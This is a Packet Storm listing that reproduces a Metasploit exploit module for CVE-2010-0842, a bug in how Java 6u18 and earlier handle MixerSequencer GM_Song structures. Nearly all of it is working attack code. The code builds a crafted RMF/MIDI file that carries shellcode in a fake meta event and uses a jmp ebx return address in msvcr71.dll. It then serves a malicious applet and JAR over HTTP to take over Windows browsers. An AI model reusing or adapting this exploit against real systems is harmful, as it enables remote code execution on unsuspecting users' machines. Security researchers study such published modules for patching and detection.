Lucene search

K
packetstormPeter VreugdenhilPACKETSTORM:109875
HistoryFeb 17, 2012 - 12:00 a.m.

Java MixerSequencer Object GM_Song Structure Handling

2012-02-1700:00:00
Peter Vreugdenhil
packetstormsecurity.com
31

EPSS

0.968

Percentile

99.7%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",  
'Description' => %q{  
This module exploits a flaw within the handling of MixerSequencer objects  
in Java 6u18 and before.  
  
Exploitation id done by supplying a specially crafted MIDI file within an RMF  
File. When the MixerSequencer objects is used to play the file, the GM_Song  
structure is populated with a function pointer provided by a SONG block in the  
RMF. A Midi block that contains a MIDI with a specially crafted controller event  
is used to trigger the vulnerability.  
  
When triggering the vulnerability "ebx" points to a fake event in the MIDI file  
which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the  
exploit reliable over java updates.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Peter Vreugdenhil', # Vulnerability Discovery and exploit  
'juan vazquez', # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2010-0842' ],  
[ 'OSVDB', '63493'],  
[ 'BID', '39077'],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],  
[ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']  
],  
'Payload' =>  
{  
'Space' => 8000,  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => "process",  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
# Tested succesfully on:  
# Windows XP SP3 / IE 6 / Java 6u18  
# Windows XP SP3 / IE 7 / Java 6u18  
# Windows XP SP3 / IE 8 / Java 6u18  
# Windows XP SP3 / Firefox 7.0.1 / Java 6u18  
# Windows XP SP3 / IE 8 / Java 6u17  
# Windows XP SP3 / Firefox 7.0.1 / Java 6u17  
# Windows 7 / IE 8 / Java 6u18  
'Windows / Java 6 <=u18',  
{  
'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Mar 30 2010",  
'DefaultTarget' => 0))  
  
end  
  
def get_rmf  
  
rmf_header = ""  
rmf_header << "IREZ" # RMFHeaderMagic  
rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber  
rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks  
  
song_block = ""  
song_block << "\x00\x00\x00\x65" # OffsetToNextBlock  
song_block << "SONG" # BlockType  
song_block << [target.ret].pack("N") # BlockID  
song_block << "\x00" # BlockName  
song_block << "\x00\x00\x00\x47" # BlockDataSize  
song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData  
song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData  
song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData  
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData  
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData  
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData  
song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData  
song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData  
song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData  
  
midi = ""  
# HEADERCHUNK Header  
midi << "MThd" # Header  
midi << "\x00\x00\x00\x06" # Chunk size  
midi << "\x00\x01" # Format Type  
midi << "\x00\x01" # Number of tracks  
midi << "\x00\x08" # Time division  
# TRACKCHUNK header  
midi << "MTrk" # Header  
midi << "\x00\x00\x24\xd7" # Length  
midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability  
# Fake Midi Meta event - Shellcode  
midi << "\x38" # Variable lenght delta time  
midi << "\xff" # Midi meta event  
midi << "\x02" # Meta event type 02 => Copyright notice  
midi << "\xc9\x50" # Variable Meta Event Length  
midi << payload.encoded  
midi << rand_text(9123 - payload.encoded.length)  
  
midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock  
midi_block << "Midi" # BlockType  
midi_block << "\x00\x00\x7f\xff" # BlockID  
midi_block << "\x00" # BlockName  
midi_block << "\x00\x00\x24\xed" # BlockDataSize  
midi_block << midi # BlockData  
  
rmf = ""  
rmf << rmf_header  
rmf << song_block  
rmf << midi_block  
  
rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"  
  
return rmf_name, rmf  
end  
  
def get_jar  
  
files = [  
[ "MyController.class" ],  
[ "MixerMidiApplet.class" ],  
[ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]  
]  
jar = Rex::Zip::Jar.new  
jar.add_file("META-INF/", "")  
jar.add_file("META-INF/services/", "")  
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842"))  
jar.build_manifest  
  
jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"  
  
return jar_name, jar  
end  
  
def on_request_uri(cli, request)  
  
if request.uri =~ /\.jar$/i  
print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})  
return  
end  
  
if request.uri =~ /\.rmf$/i  
print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})  
return  
end  
  
base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource  
rmf_uri = base_uri + "/#{@rmf_name}"  
jar_uri = base_uri + "/#{@jar_name}"  
  
html = %Q|  
<html>  
<head>  
</head>  
<body>  
<applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200>  
<param name="midifile" valuetype="ref" value="#{rmf_uri}">  
</applet>  
</body>  
</html>  
|  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
def exploit  
@jar_name, @jar = get_jar  
@rmf_name, @rmf = get_rmf  
super  
end  
  
end  
`